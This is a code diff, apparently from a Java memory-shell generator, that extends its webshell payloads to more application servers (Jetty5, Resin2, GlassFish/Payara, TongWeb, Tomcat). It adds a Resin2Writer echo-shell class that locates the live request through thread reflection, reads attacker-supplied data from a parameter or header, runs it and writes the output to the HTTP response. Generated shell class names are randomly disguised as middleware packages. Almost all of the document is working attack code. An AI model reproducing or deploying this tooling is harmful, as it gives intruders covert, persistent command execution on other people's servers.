writerClasses.put(Server.WebSphere, WebSphereWriter.class);
|
||||||
|
writerClasses.put(Server.GlassFish, GlassFishWriter.class);
|
||||||
|
writerClasses.put(Server.TongWeb, TongWebWriter.class);
|
||||||
|
writerClasses.put(Server.BES, TomcatWriter.class);
|
||||||
|
writerClasses.put(Server.InforSuite, GlassFishWriter.class);
|
||||||
|
writerClasses.put(Server.Apusic, ApusicWriter.class);
|
||||||
|
writerClasses.put(Server.SpringWebMvc, SpringWebMvcWriter.class);
|
||||||
|
writerClasses.put(Server.Struts2, Struts2Writer.class);
|
||||||
|
return writerClasses;
|
||||||
}
|
}
|
||||||
|
|
||||||
static class getDataFromReqInterceptor {
|
static class getDataFromReqInterceptor {
|
||||||
@@ -118,15 +125,24 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
|
|||||||
public static void enter(@Advice.Argument(value = 0) Object request,
|
public static void enter(@Advice.Argument(value = 0) Object request,
|
||||||
@ValueAnnotation String name,
|
@ValueAnnotation String name,
|
||||||
@Advice.Return(readOnly = false) String ret) throws Exception {
|
@Advice.Return(readOnly = false) String ret) throws Exception {
|
||||||
|
String p = null;
|
||||||
try {
|
try {
|
||||||
String p = (String) ShellCommonUtil.invokeMethod(request, "getParameter", new Class[]{String.class}, new Object[]{name});
|
p = (String) ShellCommonUtil.invokeMethod(request, "getParameter", new Class[]{String.class}, new Object[]{name});
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
if (p == null || p.isEmpty()) {
|
if (p == null || p.isEmpty()) {
|
||||||
|
try {
|
||||||
p = (String) ShellCommonUtil.invokeMethod(request, "getHeader", new Class[]{String.class}, new Object[]{name});
|
p = (String) ShellCommonUtil.invokeMethod(request, "getHeader", new Class[]{String.class}, new Object[]{name});
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (p == null || p.isEmpty()) {
|
||||||
|
try {
|
||||||
|
p = (String) ShellCommonUtil.invokeMethod(request, "getField", new Class[]{String.class}, new Object[]{name});
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
}
|
}
|
||||||
ret = p;
|
ret = p;
|
||||||
} catch (Exception e) {
|
|
||||||
ret = null;
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -135,16 +151,28 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
|
|||||||
public static void enter(@Advice.Argument(value = 0) Object request,
|
public static void enter(@Advice.Argument(value = 0) Object request,
|
||||||
@ValueAnnotation String name,
|
@ValueAnnotation String name,
|
||||||
@Advice.Return(readOnly = false) String ret) throws Exception {
|
@Advice.Return(readOnly = false) String ret) throws Exception {
|
||||||
|
String p = null;
|
||||||
try {
|
try {
|
||||||
String p = (String) ShellCommonUtil.invokeMethod(request, "getParameter", new Class[]{String.class}, new Object[]{name});
|
p = (String) ShellCommonUtil.invokeMethod(request, "getParameter", new Class[]{String.class}, new Object[]{name});
|
||||||
if (p == null || p.isEmpty()) {
|
|
||||||
p = (String) ShellCommonUtil.invokeMethod(request, "getHeader", new Class[]{String.class}, new Object[]{name});
|
|
||||||
}
|
|
||||||
ret = p;
|
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
|
}
|
||||||
|
if (p == null || p.isEmpty()) {
|
||||||
|
try {
|
||||||
|
p = (String) ShellCommonUtil.invokeMethod(request, "getHeader", new Class[]{String.class}, new Object[]{name});
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (p == null || p.isEmpty()) {
|
||||||
|
try {
|
||||||
|
p = (String) ShellCommonUtil.invokeMethod(request, "getField", new Class[]{String.class}, new Object[]{name});
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (p == null || p.isEmpty()) {
|
||||||
Class<?> requestClass = request.getClass().getClassLoader().loadClass("org.eclipse.jetty.server.Request");
|
Class<?> requestClass = request.getClass().getClassLoader().loadClass("org.eclipse.jetty.server.Request");
|
||||||
Object parameters = requestClass.getMethod("extractQueryParameters", requestClass, Charset.class).invoke(null, request, UTF_8);
|
Object parameters = requestClass.getMethod("extractQueryParameters", requestClass, Charset.class).invoke(null, request, UTF_8);
|
||||||
String p = (String) ShellCommonUtil.invokeMethod(parameters, "getValue", new Class[]{String.class}, new Object[]{name});
|
p = (String) ShellCommonUtil.invokeMethod(parameters, "getValue", new Class[]{String.class}, new Object[]{name});
|
||||||
|
}
|
||||||
if (p == null || p.isEmpty()) {
|
if (p == null || p.isEmpty()) {
|
||||||
Object headers = ShellCommonUtil.invokeMethod(request, "getHeaders", null, null);
|
Object headers = ShellCommonUtil.invokeMethod(request, "getHeaders", null, null);
|
||||||
p = (String) ShellCommonUtil.invokeMethod(headers, "get", new Class[]{String.class}, new Object[]{name});
|
p = (String) ShellCommonUtil.invokeMethod(headers, "get", new Class[]{String.class}, new Object[]{name});
|
||||||
@@ -152,13 +180,8 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
|
|||||||
ret = p;
|
ret = p;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
|
||||||
|
|
||||||
@Retention(RetentionPolicy.RUNTIME)
|
@Retention(RetentionPolicy.RUNTIME)
|
||||||
public @interface ValueAnnotation {
|
public @interface ValueAnnotation {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@@ -10,7 +10,7 @@ import java.util.Set;
|
|||||||
* HTTP 服务类型识别,主要识别 Servlet 容器实现,例如 WildFly 识别为 Undertow,Payara 识别为 GlassFish
|
* HTTP 服务类型识别,主要识别 Servlet 容器实现,例如 WildFly 识别为 Undertow,Payara 识别为 GlassFish
|
||||||
* 很多国产中间件都是基于 GlassFish 改的,都会识别为 GlassFish
|
* 很多国产中间件都是基于 GlassFish 改的,都会识别为 GlassFish
|
||||||
* 额外需要注意:
|
* 额外需要注意:
|
||||||
* 1. 不会识别 SpringWebMVC Struct2 这种框架,只识别其提供 HTTP 服务的 Servlet 容器类型
|
* 1. 不会识别 SpringWebMVC Struts2 这种框架,只识别其提供 HTTP 服务的 Servlet 容器类型
|
||||||
* 2. 识别的顺序很重要,部分类型的识别单独拿出来是不准确的,没有测试的情况下,不要以下的 if 判断顺序
|
* 2. 识别的顺序很重要,部分类型的识别单独拿出来是不准确的,没有测试的情况下,不要以下的 if 判断顺序
|
||||||
*
|
*
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -27,6 +27,10 @@ public class ServerProbe {
|
|||||||
classNames.add(traceElement.getClassName());
|
classNames.add(traceElement.getClassName());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
if (classNames.contains("org.mortbay.http.HttpConnection")
|
||||||
|
|| classNames.contains("org.mortbay.http.HttpServer")) {
|
||||||
|
return ret = "Jetty5";
|
||||||
|
}
|
||||||
if (System.getProperty("jetty.home") != null
|
if (System.getProperty("jetty.home") != null
|
||||||
|| classNames.contains("org.eclipse.jetty.util.thread.QueuedThreadPool")) {
|
|| classNames.contains("org.eclipse.jetty.util.thread.QueuedThreadPool")) {
|
||||||
return ret = "Jetty";
|
return ret = "Jetty";
|
||||||
@@ -40,7 +44,7 @@ public class ServerProbe {
|
|||||||
if (System.getProperty("com.apusic.home") != null) {
|
if (System.getProperty("com.apusic.home") != null) {
|
||||||
return ret = "Apusic";
|
return ret = "Apusic";
|
||||||
}
|
}
|
||||||
if (System.getProperty("bes.home") != null
|
if ((System.getProperty("bes.home") != null || System.getProperty("bes.base") != null)
|
||||||
&& classNames.contains("com.bes.enterprise.web.util.threads.WorkQueue")) {
|
&& classNames.contains("com.bes.enterprise.web.util.threads.WorkQueue")) {
|
||||||
return ret = "BES";
|
return ret = "BES";
|
||||||
}
|
}
|
||||||
@@ -54,13 +58,22 @@ public class ServerProbe {
|
|||||||
|| System.getProperty("wlp.install.dir") != null) {
|
|| System.getProperty("wlp.install.dir") != null) {
|
||||||
return ret = "WebSphere";
|
return ret = "WebSphere";
|
||||||
}
|
}
|
||||||
if (System.getProperty("resin.home") != null) {
|
if (System.getProperty("resin.home") != null
|
||||||
|
&& classNames.contains("com.caucho.server.dispatch.ServletInvocation")) {
|
||||||
return ret = "Resin";
|
return ret = "Resin";
|
||||||
}
|
}
|
||||||
if (classNames.contains("org.springframework.boot.web.embedded.netty.NettyWebServer$1")) {
|
if (System.getProperty("resin.home") != null
|
||||||
|
&& (classNames.contains("com.caucho.server.http.HttpRequest")
|
||||||
|
|| classNames.contains("com.caucho.server.http.ServletServer"))) {
|
||||||
|
return ret = "Resin2";
|
||||||
|
}
|
||||||
|
if (classNames.contains("org.springframework.boot.web.embedded.netty.NettyWebServer$1")
|
||||||
|
|| classNames.contains("org.springframework.boot.reactor.netty.NettyWebServer$1")) {
|
||||||
return ret = "SpringWebFlux";
|
return ret = "SpringWebFlux";
|
||||||
}
|
}
|
||||||
if (System.getProperty("AS_INSTALL") != null) {
|
if (System.getProperty("AS_INSTALL") != null
|
||||||
|
|| System.getProperty("com.sun.aas.installRoot") != null
|
||||||
|
|| System.getProperty("glassfish.version") != null) {
|
||||||
return ret = "GlassFish";
|
return ret = "GlassFish";
|
||||||
}
|
}
|
||||||
if (System.getProperty("jboss.home.dir") != null
|
if (System.getProperty("jboss.home.dir") != null
|
||||||
|
|||||||
+43
-1
@@ -156,7 +156,15 @@ public class GlassFishFilterProbe {
|
|||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
Object target = getThreadTarget(thread);
|
||||||
|
if (target == null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
Object container = getContainerFromProcessor(target);
|
||||||
|
if (container == null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(container, "children");
|
||||||
for (Object value : childrenMap.values()) {
|
for (Object value : childrenMap.values()) {
|
||||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||||
contexts.addAll(children.values());
|
contexts.addAll(children.values());
|
||||||
@@ -166,6 +174,40 @@ public class GlassFishFilterProbe {
|
|||||||
return contexts;
|
return contexts;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private Object getThreadTarget(Thread thread) throws Exception {
|
||||||
|
try {
|
||||||
|
return getFieldValue(thread, "target");
|
||||||
|
} catch (NoSuchFieldException e) {
|
||||||
|
// JDK 21+
|
||||||
|
return getFieldValue(getFieldValue(thread, "holder"), "task");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Older GlassFish/Payara: ContainerBackgroundProcessor.this$0
|
||||||
|
* Payara 6.2024+/7: ContainerBackgroundProcessorAtomic.base (WeakReference)
|
||||||
|
*/
|
||||||
|
private Object getContainerFromProcessor(Object target) throws Exception {
|
||||||
|
try {
|
||||||
|
return getFieldValue(target, "this$0");
|
||||||
|
} catch (NoSuchFieldException ignored) {
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
Object atomic = getFieldValue(target, "containerBackgroundProcessorAtomic");
|
||||||
|
Object base = getFieldValue(atomic, "base");
|
||||||
|
if (base instanceof java.lang.ref.Reference) {
|
||||||
|
return ((java.lang.ref.Reference<?>) base).get();
|
||||||
|
}
|
||||||
|
return base;
|
||||||
|
} catch (NoSuchFieldException ignored) {
|
||||||
|
}
|
||||||
|
Object base = getFieldValue(target, "base");
|
||||||
|
if (base instanceof java.lang.ref.Reference) {
|
||||||
|
return ((java.lang.ref.Reference<?>) base).get();
|
||||||
|
}
|
||||||
|
return base;
|
||||||
|
}
|
||||||
|
|
||||||
public static Object invokeMethod(Object obj, String methodName) throws Exception {
|
public static Object invokeMethod(Object obj, String methodName) throws Exception {
|
||||||
return invokeMethod(obj, methodName, null, null);
|
return invokeMethod(obj, methodName, null, null);
|
||||||
}
|
}
|
||||||
|
|||||||
+14
-1
@@ -32,7 +32,7 @@ public class GlassFishWriter {
|
|||||||
// GlassFish4+
|
// GlassFish4+
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
Object blocker = getFieldValue(thread, "blocker");
|
Object blocker = getThreadBlocker(thread);
|
||||||
if (blocker == null || !blocker.getClass().getName().contains("Selector")) {
|
if (blocker == null || !blocker.getClass().getName().contains("Selector")) {
|
||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
@@ -62,6 +62,19 @@ public class GlassFishWriter {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private Object getThreadBlocker(Thread thread) {
|
||||||
|
try {
|
||||||
|
return getFieldValue(thread, "blocker");
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
try {
|
||||||
|
// JDK 21+
|
||||||
|
return getFieldValue(thread, "nioBlocker");
|
||||||
|
} catch (Throwable ignored2) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
private boolean tryWriteRes(Object request) throws Exception {
|
private boolean tryWriteRes(Object request) throws Exception {
|
||||||
Object response = invokeMethod(request, "getResponse", null, null);
|
Object response = invokeMethod(request, "getResponse", null, null);
|
||||||
String data = getDataFromReq(request);
|
String data = getDataFromReq(request);
|
||||||
|
|||||||
+4
-1
@@ -33,7 +33,10 @@ public class JettyWriter {
|
|||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
Object value = getFieldValue(entry, "value");
|
Object value = getFieldValue(entry, "value");
|
||||||
if (value != null && value.getClass().getName().endsWith("HttpConnection")) {
|
if (value != null && (
|
||||||
|
value.getClass().getName().endsWith("HttpConnection")
|
||||||
|
|| value.getClass().getName().contains("SelectChannelConnector")
|
||||||
|
)) {
|
||||||
Object response;
|
Object response;
|
||||||
Object request;
|
Object request;
|
||||||
try {
|
try {
|
||||||
|
|||||||
+172
@@ -0,0 +1,172 @@
|
|||||||
|
package com.reajason.javaweb.probe.payload.response;
|
||||||
|
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.OutputStream;
|
||||||
|
import java.io.PrintStream;
|
||||||
|
import java.io.PrintWriter;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.util.Set;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2026/7/4
|
||||||
|
*/
|
||||||
|
public class Resin2Writer {
|
||||||
|
|
||||||
|
private static boolean ok = false;
|
||||||
|
|
||||||
|
public Resin2Writer() {
|
||||||
|
if (ok) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
Object request = getCurrentRequest();
|
||||||
|
if (request == null) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
Object response = invokeMethod(request, "getResponse", null, null);
|
||||||
|
String data = getDataFromReq(request);
|
||||||
|
if (data != null && !data.isEmpty()) {
|
||||||
|
String result = "";
|
||||||
|
try {
|
||||||
|
result = run(data);
|
||||||
|
} catch (Throwable e) {
|
||||||
|
result = getErrorMessage(e);
|
||||||
|
}
|
||||||
|
if (result != null) {
|
||||||
|
try {
|
||||||
|
OutputStream outputStream = (OutputStream) invokeMethod(response, "getOutputStream", null, null);
|
||||||
|
outputStream.write(result.getBytes());
|
||||||
|
outputStream.flush();
|
||||||
|
outputStream.close();
|
||||||
|
} catch (Throwable e) {
|
||||||
|
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
|
||||||
|
writer.write(result);
|
||||||
|
writer.flush();
|
||||||
|
writer.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (Throwable e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
} finally {
|
||||||
|
ok = true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private Object getCurrentRequest() {
|
||||||
|
Thread currentThread = Thread.currentThread();
|
||||||
|
Object request = getRequestFromThread(currentThread, currentThread);
|
||||||
|
if (request != null) {
|
||||||
|
return request;
|
||||||
|
}
|
||||||
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
|
for (Thread thread : threads) {
|
||||||
|
request = getRequestFromThread(thread, currentThread);
|
||||||
|
if (request != null) {
|
||||||
|
return request;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
private Object getRequestFromThread(Thread thread, Thread currentThread) {
|
||||||
|
Object target = null;
|
||||||
|
try {
|
||||||
|
target = getFieldValue(thread, "target");
|
||||||
|
} catch (Throwable e) {
|
||||||
|
try {
|
||||||
|
target = getFieldValue(getFieldValue(thread, "holder"), "task");
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return getRequestFromTarget(target, currentThread);
|
||||||
|
}
|
||||||
|
|
||||||
|
private Object getRequestFromTarget(Object target, Thread currentThread) {
|
||||||
|
if (target == null) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
Object request = null;
|
||||||
|
if ("com.caucho.server.http.HttpRequest".equals(target.getClass().getName())) {
|
||||||
|
request = target;
|
||||||
|
} else {
|
||||||
|
try {
|
||||||
|
request = getFieldValue(target, "request");
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (request == null || !"com.caucho.server.http.HttpRequest".equals(request.getClass().getName())) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
Object requestThread = getFieldValue(request, "_thread");
|
||||||
|
if (requestThread != null && requestThread != currentThread) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
}
|
||||||
|
return request;
|
||||||
|
}
|
||||||
|
|
||||||
|
private String getDataFromReq(Object request) throws Exception {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
private String run(String data) throws Exception {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
|
Method method = null;
|
||||||
|
while (clazz != null && method == null) {
|
||||||
|
try {
|
||||||
|
if (paramClazz == null) {
|
||||||
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
|
} else {
|
||||||
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException(obj.getClass() + " Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||||
|
Class<?> clazz = obj.getClass();
|
||||||
|
while (clazz != Object.class) {
|
||||||
|
try {
|
||||||
|
Field field = clazz.getDeclaredField(name);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field.get(obj);
|
||||||
|
} catch (NoSuchFieldException var5) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+2
-2
@@ -11,10 +11,10 @@ import java.lang.reflect.Method;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2025/12/8
|
* @since 2025/12/8
|
||||||
*/
|
*/
|
||||||
public class Struct2Writer {
|
public class Struts2Writer {
|
||||||
private static boolean ok = false;
|
private static boolean ok = false;
|
||||||
|
|
||||||
public Struct2Writer() {
|
public Struts2Writer() {
|
||||||
if (ok) {
|
if (ok) {
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
@@ -44,8 +44,12 @@ public class TomcatWriter {
|
|||||||
try {
|
try {
|
||||||
requestGroupInfo = getFieldValue(getFieldValue(getFieldValue(target, "this$0"), "handler"), "global");
|
requestGroupInfo = getFieldValue(getFieldValue(getFieldValue(target, "this$0"), "handler"), "global");
|
||||||
} catch (NoSuchFieldException ignored) {
|
} catch (NoSuchFieldException ignored) {
|
||||||
|
try {
|
||||||
|
requestGroupInfo = getFieldValue(getFieldValue(getFieldValue(target, "endpoint"), "handler"), "global");
|
||||||
|
}catch (NoSuchFieldException ignored2) {
|
||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
|
}
|
||||||
} else if (target.getClass().getName().contains("ThreadPool$ControlRunnable")) {
|
} else if (target.getClass().getName().contains("ThreadPool$ControlRunnable")) {
|
||||||
// Tomcat5 http-8080-Processor23 <-> org.apache.tomcat.util.threads.ThreadPool$ControlRunnable
|
// Tomcat5 http-8080-Processor23 <-> org.apache.tomcat.util.threads.ThreadPool$ControlRunnable
|
||||||
try {
|
try {
|
||||||
|
|||||||
+7
-1
@@ -27,9 +27,15 @@ public class TongWebWriter {
|
|||||||
String threadName = thread.getName();
|
String threadName = thread.getName();
|
||||||
if (threadName.contains("Poller") // TongWeb6
|
if (threadName.contains("Poller") // TongWeb6
|
||||||
|| threadName.contains("Acceptor") // TongWeb7
|
|| threadName.contains("Acceptor") // TongWeb7
|
||||||
|
|| threadName.contains("AsyncTimeout") // TongWeb 7.0.4.9
|
||||||
) {
|
) {
|
||||||
try {
|
try {
|
||||||
Object requestGroupInfo = getFieldValue(getFieldValue(getFieldValue(poller, "this$0"), "handler"), "global");
|
Object requestGroupInfo = null;
|
||||||
|
try {
|
||||||
|
requestGroupInfo = getFieldValue(getFieldValue(getFieldValue(poller, "this$0"), "handler"), "global");
|
||||||
|
} catch (NoSuchFieldException ignored1) {
|
||||||
|
requestGroupInfo = getFieldValue(getFieldValue(getFieldValue(poller, "endpoint"), "handler"), "global");
|
||||||
|
}
|
||||||
List<?> processors = (List<?>) getFieldValue(requestGroupInfo, "processors");
|
List<?> processors = (List<?>) getFieldValue(requestGroupInfo, "processors");
|
||||||
for (Object processor : processors) {
|
for (Object processor : processors) {
|
||||||
String workerThreadName = (String) getFieldValue(processor, "workerThreadName");
|
String workerThreadName = (String) getFieldValue(processor, "workerThreadName");
|
||||||
|
|||||||
@@ -114,6 +114,8 @@ public class CommonUtil {
|
|||||||
|
|
||||||
public static String getWebPackageNameForServer(String server) {
|
public static String getWebPackageNameForServer(String server) {
|
||||||
switch (server) {
|
switch (server) {
|
||||||
|
case Jetty5:
|
||||||
|
return "org.mortbay.jetty.servlet.handlers";
|
||||||
case Jetty:
|
case Jetty:
|
||||||
return "org.eclipse.jetty.servlet.handlers";
|
return "org.eclipse.jetty.servlet.handlers";
|
||||||
case Undertow:
|
case Undertow:
|
||||||
@@ -128,6 +130,8 @@ public class CommonUtil {
|
|||||||
return "weblogic.servlet.internal.handlers";
|
return "weblogic.servlet.internal.handlers";
|
||||||
case Resin:
|
case Resin:
|
||||||
return "com.caucho.server.dispatch.handlers";
|
return "com.caucho.server.dispatch.handlers";
|
||||||
|
case Resin2:
|
||||||
|
return "com.caucho.server.http.handlers";
|
||||||
case BES:
|
case BES:
|
||||||
return "com.bes.enterprise.webtier.web.handlers";
|
return "com.bes.enterprise.webtier.web.handlers";
|
||||||
case Apusic:
|
case Apusic:
|
||||||
@@ -145,7 +149,7 @@ public class CommonUtil {
|
|||||||
+ "." + MIDDLEWARE_NAMES[new Random().nextInt(MIDDLEWARE_NAMES.length)] + shellType;
|
+ "." + MIDDLEWARE_NAMES[new Random().nextInt(MIDDLEWARE_NAMES.length)] + shellType;
|
||||||
}
|
}
|
||||||
|
|
||||||
public static String getSimpleName(String injectorClassName) {
|
public static String getSimpleName(String className) {
|
||||||
return injectorClassName.substring(injectorClassName.lastIndexOf(".") + 1);
|
return className.substring(className.lastIndexOf(".") + 1);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user